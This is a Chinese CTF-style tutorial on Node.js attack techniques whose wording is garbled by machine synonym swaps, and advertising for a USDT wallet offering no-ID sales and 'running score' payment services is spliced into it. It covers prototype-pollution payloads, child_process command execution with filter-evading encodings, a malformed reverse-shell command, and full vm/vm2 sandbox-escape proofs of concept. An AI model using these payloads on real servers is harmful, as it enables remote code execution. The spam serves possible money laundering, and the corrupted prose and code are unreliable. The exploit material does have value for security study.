菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。
nodejs中的破绽技巧
关于原型链
在javascript中,继续的整个历程就称为该类的原型链。
每个工具的都有一个指向他的原型(prototype)的内部链接,这个原型工具又有它自己的原型,一直到null为止。
在javascript中一切皆工具,由于所有的变量,函数,数组,工具 都始于object的原型即object.prototype
,但只有类有工具,工具没有,工具有的是__proto__
。
like:
日期时:
f -> Data.prototype -> object.prototype->null
函数时:
d -> function.prototype -> object.prototype->null
数组时:
c -> array.prototype -> object.prototype->null
类时:
b -> a.prototype -> object.prototype->null
当要使用或输出一个变量时:首先会在本层中搜索响应的变量,若是不存在的话,就会向上搜索,即在自己的父类中搜索,当父类中也没有时,就会向祖父类搜索,直到指向null
,若是此时还没有搜索到,就会返回 undefined
。
凭据上图可知,接见f1
原型的三种方式:
console.log(f1["__proto__"])
console.log(f1.__proto__)
console.log(f1.constructor.prototype) ,这样可以看出工具的__proto__属性,指向类的原型工具prototype
而接见到函数的方式则为:
console.log(f1.constructor.constructor) ,这样我们就获取到了Function,可以组织出匿名函数来举行下令执行了。
关于merge函数
在js
当中若是存在使用merge
函数或clone
函数的情况下,可能会发生原型链污染。
function merge(a, b) {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
function merge(a, b) {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
merge
函数首先迭代第二个工具b上的所有属性(由于在相同的键值对的情况下,第二个工具是优先的)。
若是属性同时存在于第一个和第二个参数上,而且它们都是Object
类型,那么Merge
函数将重新开始合并它。
在这里可以控制b[attr]
的值,将attr
设为__proto__
,也可以控制b中proto
属性内的值,那当递归时,a[attr]
在某个点现实上将指向工具a的原型,至此通过递归我们向所有工具添加一个新属性。
需要配合JSON.parse
使得我们输入的__proto__
被剖析成键名,JSON剖析的情况下,__proto__
会被认为是一个真正的“键名”,而不代表“原型”,否则它只会被看成当前工具的”原型“而不会向上影响
>let o2 = {a: 1, "__proto__": {b: 2}}
>merge({}, o2)
<undefined
>o2.__proto__
<{b: 2}
>console.log({}.b)
<undefined //并未污染原型
>let o3 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
>merge({},o3)
<undefined
>console.log({}.b)
<2 //乐成污染
关于child_process
nodejs
基于事宜驱动来处置并发,自己是单线程模式运行的。Nodejs
通过使用child_process
模块来天生多个子历程来处置其他事物。
在child_process
中有七个方式它们分别为:execFileSync
、spawnSync
,execSync
、fork
、exec
、execFile
、以及spawn
,而这些方式使用到的都是spawn()
方式。
在Nodejs
中,nodejs
通过使用child_process
模块来天生多个子历程来处置其他事物就包罗4个异步历程函数分别为spawn
,exec
,execFile
,fork
和3个同步历程函数spawnSync
,execFileSync
,execSync
。
关于nodejs的下令执行
对于nodejs
我们尝试用require
来开启子历程举行下令执行。
假设问题需要绕过一些敏感字符,如exec
,以是我们有多种方式即字符串拼接或者字符串的编码转换,在nodejs
当中,对于十六进制编码与unicode
编码都是顺应的。
以是原先的:eval=require("child_process").execSync('cat fl001g.txt')
可以转变为:eval=require("child_process")['exe'%2b'cSync']('cat fl001g.txt')
或者是:eval=require("child_process")["\x65\x78\x65\x63\x53\x79\x6e\x63"]('cat fl001g.txt')
以及unicode
编码:eval=require("child_process")["\u0065\u0078\u0065\u0063\u0053\x79\x6e\x63"]('cat fl001g.txt')
包罗模板字符串:eval=require(%22child_process%22)[
${${
exe}cSync
}](%27ls%27)
。
文件读取
有些时刻只是为了读取文件的话,可以直接行使fs
模块。
Node.js
文件系统(fs
模块)模块中的方式均有异步和同步版本,例如读取文件内容的函数有异步的 fs.readFile()
和同步的 fs.readFileSync()
。
而且我们可以行使fs
模块来举行目录的查看:
fs.readdir(path, callback)
除此之外举行文件的写入也可以,直接写入一个js
文件通过挪用child_process
来编写一个shell
。
eval=require(%22fs%22).writeFileSync('input.txt', 'sss')
,菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。
若是具有权限,完全还可以行使unlink
把ssh key
给删除然后在重新写入。
关于nodejs中spawn与exec的区别
异步函数spawn
是最基本的建立子历程的函数,其他三个异步函数都是对spawn
差别水平的封装,即exec
,execfile
,fork
。
以是他们的区别就是spawn
只能运行指定的程序,参数需要在列表中给出,而exec
可以直接运行庞大的下令。
要运行du -sh /disk1
下令, 使用spawn
函数需要写成spawn('du', [''-sh ', '/disk1'])
,而使用exec函数时,可以直接写成exec('du -sh /disk1')
。
当require被禁用时
我们可以使用通过global全局工具加载模块
来挪用子历程。
global.process.mainModule.constructor._load('child_process').exec('ls');
行使Function
举行执行:
Function("global.process.mainModule.constructor._load('child_process').exec('ls')")();
行使setInterval
举行下令执行:
setInteval(function, 2000) ,即距离两秒
行使setTimeout
举行下令执行:
setTimeout(function, 2000) ,即两秒后执行
关于反弹shell
在nodejs
当中与java
有些类似,反弹shell
需要举行一些分外的编码解码才能够规避掉一些敏感词,例如+
号
shell反弹:
code=require('child_process').exec('cmd'|base64 -d|bash');
对于vm&&vm2
vm2
挪用者vm
的api
,vm2
在vm
的基础上建立了一层沙箱。
在建立vm环境时,主要就是建立一个阻隔的环境,将执行代码放入阻隔的上下文当中。
在这里vm.Script(code)
就是我们要执行的部门,而vm.createContext(example)
是建立的隔离工具,然则example
并没有被举行限制,导致能够接见原型,凭据上面的图我们可以组织欻匿名函数:
const script = new vm.Script("this.constructor.constructor('return this.process.env')()");
以是,在vm
当中逃逸就用到了这种建立函数的方式:
由于这个函数的是依托于main
函数,以是逃走了限制。
进一步执行下令也就是行使含函数挪用child_process
以及mainMoudle
来举行。
this.constructor.constructor('return process')().mainModule.require('child_process').execSync('whoami').toString()
对于vm2
,vm2
阻挡了对 constructor
和 __proto__
属性的接见,导致我们无法逃走沙箱,挂载在原型下,而vm2
的sadbox.js
对常见的下令执行的函数举行了过滤,好比 setTimeout
,setInterval
等。
通常对于vm2
挪用方式就简捷上一些:
而这其中其实现的方式与vm
是相同的。
const script = new VMScript("let test = 1;test"); (vm2)--> const cmd = new vm.Script("this.constructor.constructor('return this.process.config')()"); (vm1)
let vm = new VM() (vm2)--> const context = vm.createContext(sandbox) (vm1)
vm.run(script) (vm2) --> dir = cmd.runInContext(context) (vm1)
对于第二步,在其中就是建立了一个沙箱环境:
1. 挪用vm.createContext建立上下文context
2. 挪用lib目录下的sandbox.js对其举行封装,天生一个匿名函数
3. 将这个匿名函数的this为context
导致我们无法对其造成污染:
追溯在github
当中可以发现一些绕过的方式:
Breakout in v3.6.9
:https://github.com/patriksimek/vm2/issues/186
Breakout in v3.8.3
:https://github.com/patriksimek/vm2/issues/225
,Breakout in v3.8.3
"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
try{
Buffer.from(new Proxy({}, {
getOwnPropertyDescriptor(){
throw f=>f.constructor("return process")();
}
}));
}catch(e){
return e(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
}+')()';
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}
这里是行使buffer.from
建立一个署理抛出异常throw f=>f.constructor("return process")()
被vm2
内部代码给捕捉,再被catch
给捕捉,此时由于对() => {}
不正确的处置导致了沙箱的逃逸。
hackim-2019
在vm2
当中,可以通过制造错误,引起外部报错,再捕捉外部的报错来判断是否存在vm2
。
在这里通过报错可以发现,服务器使用了vm2
.
使用v3.6.9的poc
:
"use strict";
const {VM} = require('vm2');
const untrusted = `
var process;
try{
Object.defineProperty(Buffer.from(""),"",{
value:new Proxy({},{
getPrototypeOf(target){
if(this.t)
throw Buffer.from;
this.t=true;
return Object.getPrototypeOf(target);
}
})
});
}catch(e){
process = e.constructor("return process")();
}
process.mainModule.require("child_process").execSync("whoami").toString()
`;
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}
执行下令即可获取flag
。
关于模板字符串行使
模板字符串(template string)是增强版的字符串,用反引号(`)标识。它可以看成通俗字符串使用,也可以用来界说多行字符串,或者在字符串中嵌入变量,而若是在模板字符串中需要使用反引号,则前面要用反斜杠转义,另外在模板字符串中嵌入变量需要将变量名卸载${}
当中。
行使模板字符串,我们可以天生一种嵌套模板
`${`${`constructo`}r`}` 拼接完之后可以变为 constructor
剖析的顺序就是: `${`constructor`}`--->constructor
HUFUCTF just_escape
在虎符ctf中,就泛起了行使模板嵌套来举行绕过,问题用的是vm2
,行使poc
就可以执行下令,然则问题过滤了一些关键词,导致poc
需要举行一些更改,我们十六进制以及unicode
编码或者就是模板嵌套可以举行绕过。
(function (){
TypeError[`${`${`protot`}ype`}`][`${`${`get_proc`}esss`}`] = f=>f[`${`${`construc`}tor`}`](`${`${`return this.proc`}ess`}`)();
try{
Object.preventExtensions(Buffer.from(``)).a = 1;
}catch(e){
return e[`${`${`get_proc`}ess`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`whoami`).toString();
}
})()
或者是:
(function(){TypeError[`x70x72x6fx74x6fx74x79x70x65`][`x67x65x74x5fx70x72x6fx63x65x73x73`] = f=>f[`x63x6fx6ex73x74x72x75x63x74x6fx72`](`x72x65x74x75x72x6ex20x70x72x6fx63x65x73x73`)();try{Object.preventExtensions(Buffer.from(``)).a = 1;}catch(e){return e[`x67x65x74x5fx70x72x6fx63x65x73x73`](()=>{}).mainModule.require((`x63x68x69x6cx64x5fx70x72x6fx63x65x73x73`))[`x65x78x65x63x53x79x6ex63`](`whoami`).toString();}})()
网友评论